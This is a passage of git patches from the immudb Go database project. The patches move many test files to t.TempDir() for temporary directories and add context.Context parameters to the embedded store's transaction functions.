td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -730,14 +705,13 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedStatements(t *testing.T) } func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -772,14 +746,13 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) { } func TestPgsqlServer_ExtendedQueryPGxMultiInsertStatements(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -806,14 +779,13 @@ func TestPgsqlServer_ExtendedQueryPGxMultiInsertStatements(t *testing.T) { } func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() diff --git a/pkg/replication/replicator_test.go b/pkg/replication/replicator_test.go index 13688e95cc..2084ce51c6 100644 --- a/pkg/replication/replicator_test.go +++ b/pkg/replication/replicator_test.go @@ -17,7 +17,6 @@ limitations under the License. package replication import ( - "io/ioutil" "os" "testing" @@ -28,11 +27,9 @@ import ( ) func TestReplication(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "replication_data") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() - _, err = NewTxReplicator(xid.New(), nil, nil, nil) + _, err := NewTxReplicator(xid.New(), nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) rOpts := DefaultOptions(). diff --git a/pkg/server/db_options_test.go b/pkg/server/db_options_test.go index 2d71385f44..25ce2e8ea9 100644 --- a/pkg/server/db_options_test.go +++ b/pkg/server/db_options_test.go @@ -17,8 +17,6 @@ limitations under the License. package server import ( - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/replication" @@ -26,9 +24,7 @@ import ( ) func TestDefaultOptions(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() @@ -42,9 +38,7 @@ func TestDefaultOptions(t *testing.T) { } func TestReplicaOptions(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() @@ -70,9 +64,7 @@ func TestReplicaOptions(t *testing.T) { } func TestPrimaryOptions(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() diff --git a/pkg/server/db_runtime_test.go b/pkg/server/db_runtime_test.go index de196e0d4a..12e43d0d5e 100644 --- a/pkg/server/db_runtime_test.go +++ b/pkg/server/db_runtime_test.go @@ -19,8 +19,6 @@ package server import ( "context" "fmt" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -32,9 +30,7 @@ import ( ) func TestServerDatabaseRuntime(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -144,9 +140,7 @@ func TestServerDatabaseRuntime(t *testing.T) { } func TestServerDatabaseRuntimeEdgeCases(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 1ef45f0954..0b1333911c 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -90,9 +90,7 @@ func (r *remoteStorageMockingWrapper) ListEntries(ctx context.Context, path stri } func TestCreateRemoteStorage(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -139,9 +137,7 @@ func storeData(t *testing.T, s remotestorage.Storage, name string, data []byte) } func TestInitializeRemoteStorageNoRemoteStorage(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -149,14 +145,12 @@ func TestInitializeRemoteStorageNoRemoteStorage(t *testing.T) { s.WithOptions(opts) - err = s.initializeRemoteStorage(nil) + err := s.initializeRemoteStorage(nil) require.NoError(t, err) } func TestInitializeRemoteStorageEmptyRemoteStorage(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -164,14 +158,12 @@ func TestInitializeRemoteStorageEmptyRemoteStorage(t *testing.T) { s.WithOptions(opts) - err = s.initializeRemoteStorage(memory.Open()) + err := s.initializeRemoteStorage(memory.Open()) require.NoError(t, err) } func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnExists(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -187,14 +179,12 @@ func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnExists(t *testing.T) { }, } - err = s.initializeRemoteStorage(mem) + err := s.initializeRemoteStorage(mem) require.True(t, errors.Is(err, injectedErr)) } func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnListEntries(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -210,14 +200,12 @@ func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnListEntries(t *testing. }, } - err = s.initializeRemoteStorage(mem) + err := s.initializeRemoteStorage(mem) require.True(t, errors.Is(err, injectedErr)) } func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -228,7 +216,7 @@ func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - err = s.initializeRemoteStorage(m) + err := s.initializeRemoteStorage(m) require.NoError(t, err) uuidFilename := filepath.Join(dir, "immudb.identifier") @@ -241,9 +229,7 @@ func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { } func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -261,7 +247,7 @@ func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - err = s.initializeRemoteStorage(m) + err := s.initializeRemoteStorage(m) require.True(t, errors.Is(err, injectedErr)) } @@ -284,9 +270,7 @@ func (e errReader) Read([]byte) (int, error) { } func TestInitializeRemoteStorageDownloadIdentifierErrorOnRead(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -304,14 +288,12 @@ func TestInitializeRemoteStorageDownloadIdentifierErrorOnRead(t *testing.T) { storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - err = s.initializeRemoteStorage(m) + err := s.initializeRemoteStorage(m) require.True(t, errors.Is(err, injectedErr)) } func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -322,7 +304,7 @@ func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - _, err = getOrSetUUID(dir, dir) + _, err := getOrSetUUID(dir, dir) require.NoError(t, err) err = s.initializeRemoteStorage(m) @@ -330,9 +312,7 @@ func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { } func TestInitializeRemoteStorageCreateLocalDirs(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -346,7 +326,7 @@ func TestInitializeRemoteStorageCreateLocalDirs(t *testing.T) { storeData(t, m, "dir2/file3", []byte{1, 2, 3}) storeData(t, m, "dir3/file4", []byte{1, 2, 3}) - err = s.initializeRemoteStorage(m) + err := s.initializeRemoteStorage(m) require.NoError(t, err) require.DirExists(t, filepath.Join(dir, "dir1")) @@ -355,9 +335,7 @@ func TestInitializeRemoteStorageCreateLocalDirs(t *testing.T) { } func TestInitializeRemoteStorageCreateLocalDirsError(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -371,7 +349,7 @@ func TestInitializeRemoteStorageCreateLocalDirsError(t *testing.T) { storeData(t, m, "dir2/file3", []byte{1, 2, 3}) storeData(t, m, "dir3/file4", []byte{1, 2, 3}) - err = ioutil.WriteFile(filepath.Join(dir, "dir3"), []byte{}, 0777) + err := ioutil.WriteFile(filepath.Join(dir, "dir3"), []byte{}, 0777) require.NoError(t, err) err = s.initializeRemoteStorage(m) @@ -379,9 +357,7 @@ func TestInitializeRemoteStorageCreateLocalDirsError(t *testing.T) { } func TestUpdateRemoteUUID(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -411,9 +387,7 @@ func TestUpdateRemoteUUID(t *testing.T) { } func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -461,9 +435,7 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { } func TestRemoteStorageUsedForNewDB(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s := DefaultServer() @@ -473,7 +445,7 @@ func TestRemoteStorageUsedForNewDB(t *testing.T) { WithListener(bufconn.Listen(1024 * 1024)), ) - err = s.Initialize() + err := s.Initialize() require.NoError(t, err) m := memory.Open() diff --git a/pkg/server/service_test.go b/pkg/server/service_test.go index cfd2f180b7..3c71fcbc39 100644 --- a/pkg/server/service_test.go +++ b/pkg/server/service_test.go @@ -17,8 +17,6 @@ limitations under the License. package server import ( - "io/ioutil" - "os" "testing" "time" @@ -31,9 +29,7 @@ func TestService(t *testing.T) { bufSize := 1024 * 1024 l := bufconn.Listen(bufSize) - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() options := DefaultOptions(). WithDir(dir). @@ -44,7 +40,7 @@ func TestService(t *testing.T) { server := DefaultServer().WithOptions(options).(*ImmuServer) - err = server.Initialize() + err := server.Initialize() require.NoError(t, err) srvc := &Service{ ImmuServerIf: server, diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index 2fbce82583..597b83d248 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -18,7 +18,6 @@ package transactions import ( "context" - "io/ioutil" "os" "testing" @@ -29,9 +28,7 @@ import ( ) func TestNewTx(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "tx_session_data") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() db, err := database.NewDB("db1", nil, database.DefaultOption().WithDBRootPath(path), logger.NewSimpleLogger("logger", os.Stdout)) require.NoError(t, err) diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index d1e1ca7317..085cc69afd 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -18,8 +18,6 @@ package server import ( "context" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -29,9 +27,7 @@ import ( ) func TestServerCurrentStateSigned(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s := DefaultServer() diff --git a/pkg/server/sql_test.go b/pkg/server/sql_test.go index 71f609aa0c..ab1a7c5994 100644 --- a/pkg/server/sql_test.go +++ b/pkg/server/sql_test.go @@ -18,8 +18,6 @@ package server import ( "context" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/embedded/sql" @@ -31,9 +29,7 @@ import ( ) func TestSQLInteraction(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -47,7 +43,7 @@ func TestSQLInteraction(t *testing.T) { ctx := context.Background() - _, err = s.ListTables(ctx, &emptypb.Empty{}) + _, err := s.ListTables(ctx, &emptypb.Empty{}) require.Error(t, err) _, err = s.SQLExec(ctx, nil) @@ -114,9 +110,7 @@ func TestSQLInteraction(t *testing.T) { } func TestSQLExecResult(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -151,9 +145,7 @@ func TestSQLExecResult(t *testing.T) { } func TestSQLExecCreateDatabase(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). diff --git a/pkg/server/stream_replication_test.go b/pkg/server/stream_replication_test.go index db7c89b1df..0d9835371f 100644 --- a/pkg/server/stream_replication_test.go +++ b/pkg/server/stream_replication_test.go @@ -19,8 +19,6 @@ package server import ( "context" "errors" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -31,9 +29,7 @@ import ( ) func TestExportTxEdgeCases(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -44,7 +40,7 @@ func TestExportTxEdgeCases(t *testing.T) { s.Initialize() - err = s.ExportTx(nil, nil) + err := s.ExportTx(nil, nil) require.Equal(t, ErrIllegalArguments, err) err = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{}) @@ -69,9 +65,7 @@ func TestExportTxEdgeCases(t *testing.T) { } func TestReplicateTxEdgeCases(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -82,7 +76,7 @@ func TestReplicateTxEdgeCases(t *testing.T) { s.Initialize() - err = s.ReplicateTx(nil) + err := s.ReplicateTx(nil) require.Equal(t, ErrIllegalArguments, err) err = s.ReplicateTx(&immuServiceReplicateTxServer{ctx: context.Background()}) diff --git a/pkg/server/stream_test.go b/pkg/server/stream_test.go index 7f55cf93ed..f11d5415cb 100644 --- a/pkg/server/stream_test.go +++ b/pkg/server/stream_test.go @@ -2,8 +2,6 @@ package server import ( "context" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -12,15 +10,13 @@ import ( ) func TestImmuServer_StreamGetDbError(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) - err = s.StreamSet(&StreamServerMock{}) + err := s.StreamSet(&StreamServerMock{}) require.Error(t, err) err = s.StreamGet(nil, &StreamServerMock{}) require.Error(t, err) diff --git a/pkg/server/transaction_test.go b/pkg/server/transaction_test.go index 1320a11d93..20fd11ec42 100644 --- a/pkg/server/transaction_test.go +++ b/pkg/server/transaction_test.go @@ -2,8 +2,6 @@ package server import ( "context" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -12,15 +10,13 @@ import ( ) func TestImmuServer_Transaction(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir).WithMaintenance(true)) - _, err = s.NewTx(context.Background(), nil) + _, err := s.NewTx(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.NewTx(context.Background(), &schema.NewTxRequest{Mode: schema.TxMode_ReadWrite}) diff --git a/pkg/server/types_test.go b/pkg/server/types_test.go index 981c909129..9003a6604a 100644 --- a/pkg/server/types_test.go +++ b/pkg/server/types_test.go @@ -17,8 +17,6 @@ limitations under the License. package server import ( - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/database" @@ -27,9 +25,7 @@ import ( ) func TestWithLogger(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() logger := &mockLogger{} @@ -42,9 +38,7 @@ func TestWithLogger(t *testing.T) { } func TestWithStreamServiceFactory(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() streamServiceFactory := stream.NewStreamServiceFactory(4096) @@ -57,9 +51,7 @@ func TestWithStreamServiceFactory(t *testing.T) { } func TestWithDbList(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() dbList := database.NewDatabaseList() diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 54a8608ddb..4cbbab12b2 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -18,8 +18,6 @@ package server import ( "context" - "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -31,9 +29,7 @@ import ( ) func TestServerLogin(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -59,9 +55,7 @@ func TestServerLogin(t *testing.T) { } func TestServerLogout(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -72,7 +66,7 @@ func TestServerLogout(t *testing.T) { s.Initialize() - _, err = s.Logout(context.Background(), &emptypb.Empty{}) + _, err := s.Logout(context.Background(), &emptypb.Empty{}) if err == nil || err.Error() != ErrNotLoggedIn.Message() { t.Fatalf("Logout expected error, got %v", err) } @@ -92,9 +86,7 @@ func TestServerLogout(t *testing.T) { } func TestServerLoginLogoutWithAuthDisabled(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -105,15 +97,13 @@ func TestServerLoginLogoutWithAuthDisabled(t *testing.T) { s.Initialize() - _, err = s.Logout(context.Background(), &emptypb.Empty{}) + _, err := s.Logout(context.Background(), &emptypb.Empty{}) require.NotNil(t, err) require.Equal(t, ErrAuthDisabled, err.Error()) } func TestServerListUsersAdmin(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). @@ -229,9 +219,7 @@ func TestServerListUsersAdmin(t *testing.T) { } func TestServerUsermanagement(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). diff --git a/pkg/server/webserver_test.go b/pkg/server/webserver_test.go index c284730404..17e3c4e19a 100644 --- a/pkg/server/webserver_test.go +++ b/pkg/server/webserver_test.go @@ -18,9 +18,7 @@ package server import ( "crypto/tls" - "io/ioutil" "net/http" - "os" "testing" "time" @@ -28,9 +26,7 @@ import ( ) func TestStartWebServerHTTP(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() options := DefaultOptions().WithDir(dir) server := DefaultServer().WithOptions(options).(*ImmuServer) @@ -58,9 +54,7 @@ func TestStartWebServerHTTP(t *testing.T) { } func TestStartWebServerHTTPS(t *testing.T) { - dir, err := ioutil.TempDir("", "server_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() options := DefaultOptions().WithDir(dir) server := DefaultServer().WithOptions(options).(*ImmuServer) diff --git a/pkg/streamutils/files_test.go b/pkg/streamutils/files_test.go index ca9640b5da..c1da3ad6ac 100644 --- a/pkg/streamutils/files_test.go +++ b/pkg/streamutils/files_test.go @@ -1,19 +1,19 @@ package streamutils import ( - "github.com/stretchr/testify/require" "io/ioutil" "os" "path/filepath" "testing" + + "github.com/stretchr/testify/require" ) func TestStreamUtilsFiles(t *testing.T) { - tmpdir, err := ioutil.TempDir(os.TempDir(), "streamutils") - defer os.RemoveAll(tmpdir) + tmpdir := t.TempDir() // stat will fail - _, err = GetKeyValuesFromFiles(filepath.Join(tmpdir, "non-existant")) + _, err := GetKeyValuesFromFiles(filepath.Join(tmpdir, "non-existant")) require.Error(t, err) unreadable := filepath.Join(tmpdir, "dir") From 643a42ce0ebe1955d27040bf04a892dc1fac5384 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 18:27:30 -0300 Subject: [PATCH 0137/1062] chore(embedded/store): contextualized transactions Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 9 +- embedded/sql/sql_tx.go | 6 +- embedded/sql/stmt.go | 8 +- embedded/store/immustore.go | 21 +- embedded/store/immustore_test.go | 243 +++++++++++----------- embedded/store/indexer_test.go | 3 +- embedded/store/key_reader_test.go | 9 +- embedded/store/ongoing_tx.go | 13 +- embedded/store/tx_reader_test.go | 3 +- embedded/store/verification_test.go | 3 +- embedded/tools/stress_tool/stress_tool.go | 7 +- 11 files changed, 171 insertions(+), 154 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 3009eee7dc..c1a3e99201 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -195,7 +195,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { e.mutex.RLock() defer e.mutex.RUnlock() - tx, err := e.store.NewTx(txOpts) + tx, err := e.store.NewTx(ctx, txOpts) if err != nil { return nil, err } @@ -220,7 +220,6 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return &SQLTx{ engine: e, - ctx: ctx, opts: opts, tx: tx, catalog: catalog, @@ -256,7 +255,7 @@ func (e *Engine) ExecPreparedStmts(stmts []SQLStmt, params map[string]interface{ var opts *TxOptions if tx != nil { - ctx = tx.ctx + ctx = tx.Context() opts = tx.opts } else { ctx = context.Background() @@ -308,10 +307,10 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ var opts *TxOptions if currTx != nil { - ctx = currTx.ctx + ctx = currTx.Context() opts = currTx.opts } else if tx != nil { - ctx = tx.ctx + ctx = tx.Context() opts = tx.opts } else { ctx = context.Background() diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 0c3f339d72..2fcb2a48c1 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -28,8 +28,6 @@ import ( type SQLTx struct { engine *Engine - ctx context.Context - opts *TxOptions tx *store.OngoingTx @@ -49,6 +47,10 @@ type SQLTx struct { closed bool } +func (sqlTx *SQLTx) Context() context.Context { + return sqlTx.tx.Context() +} + func (sqlTx *SQLTx) useDatabase(dbName string) error { db, err := sqlTx.catalog.GetDatabaseByName(dbName) if err != nil { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 50edb93303..3abd935867 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -150,7 +150,7 @@ func (stmt *BeginTransactionStmt) execAt(tx *SQLTx, params map[string]interface{ return nil, err } - ntx, err := tx.engine.NewTx(tx.ctx, tx.opts) + ntx, err := tx.engine.NewTx(tx.Context(), tx.opts) if err != nil { return nil, err } @@ -204,7 +204,7 @@ func (stmt *CreateDatabaseStmt) execAt(tx *SQLTx, params map[string]interface{}) } if tx.engine.multidbHandler != nil { - return nil, tx.engine.multidbHandler.CreateDatabase(tx.ctx, stmt.DB, stmt.ifNotExists) + return nil, tx.engine.multidbHandler.CreateDatabase(tx.Context(), stmt.DB, stmt.ifNotExists) } id := uint32(len(tx.catalog.dbsByID) + 1) @@ -243,7 +243,7 @@ func (stmt *UseDatabaseStmt) execAt(tx *SQLTx, params map[string]interface{}) (* } if tx.engine.multidbHandler != nil { - return tx, tx.engine.multidbHandler.UseDatabase(tx.ctx, stmt.DB) + return tx, tx.engine.multidbHandler.UseDatabase(tx.Context(), stmt.DB) } _, exists := tx.catalog.dbsByName[stmt.DB] @@ -3685,7 +3685,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string] dbs[i] = db.name } } else { - dbs, err = tx.engine.multidbHandler.ListDatabases(tx.ctx) + dbs, err = tx.engine.multidbHandler.ListDatabases(tx.Context()) if err != nil { return nil, err } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 77ccb48cc1..ced29c900c 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -19,6 +19,7 @@ package store import ( "bytes" "container/list" + "context" "crypto/sha256" "encoding/base64" "encoding/binary" @@ -1072,12 +1073,12 @@ func (s *ImmuStore) appendData(entries []*EntrySpec, donec chan<- appendableResu donec <- appendableResult{offsets, nil} } -func (s *ImmuStore) NewWriteOnlyTx() (*OngoingTx, error) { - return newOngoingTx(s, &TxOptions{Mode: WriteOnlyTx}) +func (s *ImmuStore) NewWriteOnlyTx(ctx context.Context) (*OngoingTx, error) { + return newOngoingTx(s, ctx, &TxOptions{Mode: WriteOnlyTx}) } -func (s *ImmuStore) NewTx(opts *TxOptions) (*OngoingTx, error) { - return newOngoingTx(s, opts) +func (s *ImmuStore) NewTx(ctx context.Context, opts *TxOptions) (*OngoingTx, error) { + return newOngoingTx(s, ctx, opts) } func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForIndexing bool) (*TxHeader, error) { @@ -1606,8 +1607,8 @@ func (s *ImmuStore) mayCommit() error { return nil } -func (s *ImmuStore) CommitWith(callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error), waitForIndexing bool) (*TxHeader, error) { - hdr, err := s.preCommitWith(callback) +func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error), waitForIndexing bool) (*TxHeader, error) { + hdr, err := s.preCommitWith(ctx, callback) if err != nil { return nil, err } @@ -1658,7 +1659,7 @@ func (index *unsafeIndex) GetWithPrefixAndFilters(prefix []byte, neq []byte, fil return index.st.GetWithPrefixAndFilters(prefix, neq, filters...) } -func (s *ImmuStore) preCommitWith(callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { +func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { if callback == nil { return nil, ErrIllegalArguments } @@ -1670,7 +1671,7 @@ func (s *ImmuStore) preCommitWith(callback func(txID uint64, index KeyIndex) ([] return nil, ErrAlreadyClosed } - otx, err := s.NewWriteOnlyTx() + otx, err := s.NewWriteOnlyTx(ctx) if err != nil { return nil, err } @@ -2087,7 +2088,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byt return buf.Bytes(), nil } -func (s *ImmuStore) ReplicateTx(exportedTx []byte, waitForIndexing bool) (*TxHeader, error) { +func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForIndexing bool) (*TxHeader, error) { if len(exportedTx) == 0 { return nil, ErrIllegalArguments } @@ -2112,7 +2113,7 @@ func (s *ImmuStore) ReplicateTx(exportedTx []byte, waitForIndexing bool) (*TxHea } i += 